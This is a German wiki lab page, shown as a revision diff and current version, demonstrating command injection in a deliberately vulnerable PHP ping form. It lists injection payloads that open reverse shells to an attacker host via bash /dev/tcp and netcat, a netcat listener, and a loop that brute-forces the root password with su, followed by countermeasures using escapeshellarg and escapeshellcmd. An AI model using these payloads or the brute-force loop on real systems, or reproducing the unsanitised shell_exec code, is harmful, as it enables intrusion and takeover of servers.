Command Injection Proof of Concept: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(28 dazwischenliegende Versionen von 4 Benutzern werden nicht angezeigt)
Zeile 1: Zeile 1:
 +
*[[php installation]]
 
=PHP Code=
 
=PHP Code=
 
*Bei dieser Anwendung wird die Eingabe nicht verifiziert.  
 
*Bei dieser Anwendung wird die Eingabe nicht verifiziert.  
*Man hinter die IP Adresse mit einem Semikolon weitere Kommandos anhängen.
+
*Man kann hinter die IP Adresse mit einem Semikolon weitere Kommandos anhängen.
 
*Diese Kommandos werden dann mit den Rechten des Webservers ausgeführt.
 
*Diese Kommandos werden dann mit den Rechten des Webservers ausgeführt.
*In diesem Fall führen wir eine Remote Shell aus.
+
*'''vim ''/var/www/html/ping.php'' '''
[[Datei:Command-injection.png]]
+
<syntaxhighlight lang="html">
 +
<!DOCTYPE html>
 +
<html>
 +
<body>
 +
<h2>PING</h2>
 +
<form method="post">
 +
<label for="fname">IP</label><br>
 +
<input type="text" name="ip"><br>
 +
<input type="submit" name="submit" value="submit">
 +
</form>
 +
<br>
 +
<?php
 +
if(isset($_POST['submit'])){
 +
$ip = $_POST['ip'];
 +
$cmd = 'ping -c 4 ' . $ip;
 +
$output = shell_exec($cmd);
 +
echo "<pre> $output</pre>";
 +
}
 +
?>
 +
</body>
 +
</html>
 +
</syntaxhighlight>
  
=Angreifer=
 
*netcat -lp 8668
 
 
=Schadcode einbringen=
 
=Schadcode einbringen=
*1.1.1.1 ; mkfifo /tmp/backpipe ; /bin/sh 0</tmp/backpipe | nc 10.0.10.101 8668 1>/tmp/backpipe
+
* Auf der Angreifermaschine:
 +
* '''nc -lp ''port'' '''
 +
*verschiedene Möglichkeiten in der Webanwendung den Exploit auszunutzen:
 +
* '''1.1.1.1 ; bash -c "bash -i >& /dev/tcp/''i.p.des.hackers''/''port'' 0>&1"'''
 +
*1.1.1.1 ; mkfifo /tmp/backpipe ; /bin/sh 0</tmp/backpipe | nc 10.0.10.101 ''port'' 1>/tmp/backpipe
 +
*1.1.1.1 ;  nc.traditional -c /bin/sh 10.0.10.101 8668
  
 
[[Datei:Command-injetion1.png]]
 
[[Datei:Command-injetion1.png]]
 +
 +
= Brute Force Passwort von ''root'' =
 +
* '''for i in "hallo" "welt" "123Start$" "falschespw" ; do echo $i | timeout 0.7 su root -c whoami 2> /dev/null && echo $i ; done'''
 +
 
=Auf dem Angreifer=
 
=Auf dem Angreifer=
 
[[Datei:Command-injetion2.png]]
 
[[Datei:Command-injetion2.png]]
  
=Gegenmassnahmen=
+
=Gegenmaßnahmen=
*Niemals Daten von Aussen ungeprüft in Anwendungen verwenden.
+
*Niemals Daten von außen ungeprüft in Anwendungen verwenden.
 
*Verwendung von entsprechenden Funktionen der benutzten Programmiersprache / Scriptsprache.
 
*Verwendung von entsprechenden Funktionen der benutzten Programmiersprache / Scriptsprache.
*PHP-Funktion escapeshellarg zur Maskierung einer Zeichenkette zur weiteren Verwendung als Shell-Argument:
+
*PHP-Funktion escapeshellarg() zur Maskierung einer Zeichenkette zur weiteren Verwendung als Shell-Argument:
 
  $cmd = 'ping -c 4 ' . escapeshellarg($ip);
 
  $cmd = 'ping -c 4 ' . escapeshellarg($ip);
**ping -c 4 '1.1.1.1;  ls'
+
*Generiertes Kommando bei Verwendung von escapeshellarg() - führt bei der Ausführung zu einem Fehler:
 +
ping -c 4 '1.1.1.1;  ls'
 +
*PHP-Funktion escapeshellcmd() zur Maskierung von Shell-Metazeichen innerhalb eines Kommandostrings
 +
$output = shell_exec(escapeshellcmd($cmd));
 +
*Generiertes Kommando bei Verwendung von escapeshellcmd() - führt bei der Ausführung zu einem Fehler:
 +
ping -c 4 1.1.1.1\;  ls
 +
*Alternativ bzw. zusätzlich eigene entsprechende Prüffunktionen und/oder Escapefunktionen entwickeln.

Aktuelle Version vom 18. September 2024, 20:37 Uhr

PHP Code

  • Bei dieser Anwendung wird die Eingabe nicht verifiziert.
  • Man kann hinter die IP Adresse mit einem Semikolon weitere Kommandos anhängen.
  • Diese Kommandos werden dann mit den Rechten des Webservers ausgeführt.
  • vim /var/www/html/ping.php
<!DOCTYPE html>
<html>
<body>
<h2>PING</h2>
<form method="post">
<label for="fname">IP</label><br>
<input type="text" name="ip"><br>
<input type="submit" name="submit" value="submit">
</form>
<br>
<?php
if(isset($_POST['submit'])){
	$ip = $_POST['ip'];
	$cmd = 'ping -c 4 ' . $ip;
	$output = shell_exec($cmd);
	echo "<pre> $output</pre>";
}
?>
</body>
</html>

Schadcode einbringen

  • Auf der Angreifermaschine:
  • nc -lp port
  • verschiedene Möglichkeiten in der Webanwendung den Exploit auszunutzen:
  • 1.1.1.1 ; bash -c "bash -i >& /dev/tcp/i.p.des.hackers/port 0>&1"
  • 1.1.1.1 ; mkfifo /tmp/backpipe ; /bin/sh 0</tmp/backpipe | nc 10.0.10.101 port 1>/tmp/backpipe
  • 1.1.1.1 ; nc.traditional -c /bin/sh 10.0.10.101 8668

Command-injetion1.png

Brute Force Passwort von root

  • for i in "hallo" "welt" "123Start$" "falschespw" ; do echo $i | timeout 0.7 su root -c whoami 2> /dev/null && echo $i ; done

Auf dem Angreifer

Command-injetion2.png

Gegenmaßnahmen

  • Niemals Daten von außen ungeprüft in Anwendungen verwenden.
  • Verwendung von entsprechenden Funktionen der benutzten Programmiersprache / Scriptsprache.
  • PHP-Funktion escapeshellarg() zur Maskierung einer Zeichenkette zur weiteren Verwendung als Shell-Argument:
$cmd = 'ping -c 4 ' . escapeshellarg($ip);
  • Generiertes Kommando bei Verwendung von escapeshellarg() - führt bei der Ausführung zu einem Fehler:
ping -c 4 '1.1.1.1;  ls'
  • PHP-Funktion escapeshellcmd() zur Maskierung von Shell-Metazeichen innerhalb eines Kommandostrings
$output = shell_exec(escapeshellcmd($cmd));
  • Generiertes Kommando bei Verwendung von escapeshellcmd() - führt bei der Ausführung zu einem Fehler:
ping -c 4 1.1.1.1\;  ls
  • Alternativ bzw. zusätzlich eigene entsprechende Prüffunktionen und/oder Escapefunktionen entwickeln.